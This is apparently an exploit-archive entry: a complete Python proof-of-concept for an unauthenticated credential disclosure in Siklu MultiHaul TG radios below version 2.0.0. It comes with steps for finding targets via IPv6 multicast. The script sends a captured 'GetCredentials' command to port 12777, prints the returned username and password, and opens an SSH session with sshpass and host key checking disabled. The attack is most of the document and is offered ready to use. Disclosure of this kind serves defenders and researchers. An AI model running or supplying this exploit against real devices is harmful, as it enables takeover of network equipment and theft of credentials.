Siklu MultiHaul TG series < 2.0.0 unauthenticated credential disclosure# Exploit Title: Siklu MultiHaul TG series - unauthenticated credential disclosure # Date: 28-02-2024 # Exploit Author: semaja2 # Vendor Homepage: https://siklu.com/ # Software Link: https://partners.siklu.com/home/frontdoor # Version: < 2.0.0 # Tested on: 2.0.0 # CVE : None assigned # # Instructions # 1. Perform IPv6 host detect by pinging all host multicast address for interface attached to device # `ping6 -I en7 -c 2 ff02::1` # 2. Review IPv6 neighbours and identify target device based on vendor component of MAC address # `ip -6 neigh show dev en7` # 3. Execute script # `python3 tg-getcreds.py fe80::34d9:1337:b33f:7001%en7` # 4. Enjoy the access import socket import sys import os address = str(sys.argv[1]) # the target port = 12777 # Captured command, sends "GetCredentials" to obtain random generated username/password cmd = bytearray.fromhex("000000290FFF000100000001000100000000800100010000000E47657443726564656E7469616C730000000000") addrinfo = socket.getaddrinfo(address, port, socket.AF_INET6, socket.SOCK_STREAM) (family, socktype, proto, canonname, sockaddr) = addrinfo[0] s = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) s.connect(sockaddr) s.send(cmd) data = s.recv(200) s.close() output = "".join(map(chr, data)) # Split output, then remove trailing noise as string length is always 35 splits = output.split('#') username = splits[1][slice(0, 35, 1)] password = splits[2][slice(0, 35, 1)] print('Username: ', username) print('Password: ', password) os.system("sshpass -p {password} ssh -o StrictHostKeychecking=no {address} -l {username}".format(address = address, username = username, password = password))
Thanks for you comment!
|
{{ x.nick }}
| Date:{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1 {{ x.comment }} |